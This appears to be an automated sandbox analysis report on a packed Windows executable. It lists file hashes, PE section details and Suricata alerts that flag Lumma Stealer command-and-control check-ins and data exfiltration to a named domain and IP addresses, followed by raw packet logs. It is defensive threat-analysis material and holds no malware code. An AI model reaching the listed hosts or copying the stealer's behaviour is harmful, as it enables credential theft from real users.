Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948068537105683
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'890'304 bytes
MD5:	d7229a6c265f82bc80e0908656b99344
SHA1:	5f7a6a735d114a12096d8b5e8048f62bf1cdb748
SHA256:	128194635b1cd03bdd7da72b0346b5a5d82da29cde42dade730b15252396a6f7
SHA512:	d48561086b8c2c29c6953beedf1d48d67fad4121a9b6f5a5998e6cd9f8274b5a2310f37a0eeef35ec85a6b582b94ab0d9b9e4f4c377a7b20a5740bbca813124b
SSDEEP:	24576:wvWdLS82wG3YOMl3tKd5kWxTC74cMd3r18ZZgoVd4boQ+HVICruDTVXuL7WSFv:ZdGYG3YOMlQ5SaQZZ9VyboRSdXW3v
TLSH:	45953377E8A0B466D5680737B447CBCD0BB8DD6E0BF0903A1B42167B0E147859FA397A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ug..............................K...........@..........................@K.....I.....@.................................\@..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755B9EA [Sun Dec 8 15:23:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F19106C0EEAh
movzx ebx, byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F19106C2EE5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5405c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x24200	5a970728a0ea019f198efe4aa05f9c0f	False	0.9975129757785467	data	7.975138897205294	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	f89f2f28be6f3fc6a464feb82ace12f3	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b5000	0x200	36828cac6c8a01313f5ef68418b1f958	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kcjzlwkt	0x30a000	0x1a6000	0x1a5800	f1c339fba49f63138ed0c2c76067eb15	False	0.9946914618549823	data	7.953160073987712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cwbfsuvm	0x4b0000	0x1000	0x400	192b91d70093e7cc8483e76e243911bb	False	0.73046875	data	5.9186866327367555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b1000	0x3000	0x2200	39808dc9393970ad3313bbb76b11bbc7	False	0.06652113970588236	DOS executable (COM)	0.8547590315738636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T02:50:02.783358+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.6	52990	1.1.1.1	53	UDP
2024-12-10T02:50:04.344448+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:04.344448+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:05.077354+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:05.077354+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	104.21.16.1	443	TCP
2024-12-10T02:50:06.349148+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:06.349148+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:07.091782+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:07.091782+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49708	104.21.16.1	443	TCP
2024-12-10T02:50:08.749298+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49710	104.21.16.1	443	TCP
2024-12-10T02:50:08.749298+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	104.21.16.1	443	TCP
2024-12-10T02:50:09.712462+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49710	104.21.16.1	443	TCP
2024-12-10T02:50:11.052216+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49711	104.21.16.1	443	TCP
2024-12-10T02:50:11.052216+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	104.21.16.1	443	TCP
2024-12-10T02:50:13.334617+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49713	104.21.16.1	443	TCP
2024-12-10T02:50:13.334617+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	104.21.16.1	443	TCP
2024-12-10T02:50:16.058158+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49719	104.21.16.1	443	TCP
2024-12-10T02:50:16.058158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49719	104.21.16.1	443	TCP
2024-12-10T02:50:18.563485+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49725	104.21.16.1	443	TCP
2024-12-10T02:50:18.563485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49725	104.21.16.1	443	TCP
2024-12-10T02:50:24.879024+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49746	104.21.16.1	443	TCP
2024-12-10T02:50:24.879024+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49746	104.21.16.1	443	TCP
2024-12-10T02:50:25.899611+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49746	104.21.16.1	443	TCP
2024-12-10T02:50:27.407238+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49752	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 02:49:56.468406916 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:56.468522072 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:56.468537092 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:56.468588114 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:56.468929052 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:56.468993902 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:56.471293926 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:56.558564901 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.558708906 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.558722019 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.558765888 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:49:56.559056044 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.559070110 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.559206009 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:49:56.566984892 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.567049980 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.567055941 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:49:56.575342894 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.575407028 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:49:56.575429916 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.583606958 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.583661079 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:49:56.590573072 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:56.750694036 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:49:56.791644096 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:49:57.018738031 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.020174026 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:57.020243883 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:57.020332098 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:57.140657902 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.140676022 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.140688896 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.566049099 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.619803905 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:57.800915956 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.854182005 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:57.992729902 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:57.994442940 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:58.113689899 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:58.432470083 CET	49673	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:49:58.432468891 CET	49674	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:49:58.539983034 CET	443	49706	20.198.119.143	192.168.2.6
Dec 10, 2024 02:49:58.588634014 CET	49706	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:49:58.744915962 CET	49672	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:50:03.104247093 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:03.104289055 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:03.104377985 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:03.108088017 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:03.108103037 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:04.344252110 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:04.344448090 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:04.348052025 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:04.348064899 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:04.348323107 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:04.393500090 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:04.393671989 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:04.393701077 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:05.077390909 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:05.077486992 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:05.077584028 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:05.079358101 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:05.079370022 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:05.079427004 CET	49707	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:05.079436064 CET	443	49707	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:05.134651899 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:05.134675980 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:05.134763002 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:05.135113955 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:05.135126114 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:06.349028111 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:06.349148035 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:06.399475098 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:06.399498940 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:06.399771929 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:06.402687073 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:06.402687073 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:06.402755022 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:06.599551916 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:06.599584103 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:06.599687099 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:06.600255013 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:06.600274086 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:07.091778994 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.091864109 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.091891050 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.091909885 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.091924906 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.091976881 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.092325926 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.092360973 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.092420101 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.092426062 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.100064993 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.100119114 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.100125074 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.114286900 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.114394903 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.114403963 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.166595936 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.210968018 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.260356903 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.260373116 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.287539959 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.287575960 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.287602901 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.287612915 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.287668943 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.287677050 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.287888050 CET	49708	443	192.168.2.6	104.21.16.1
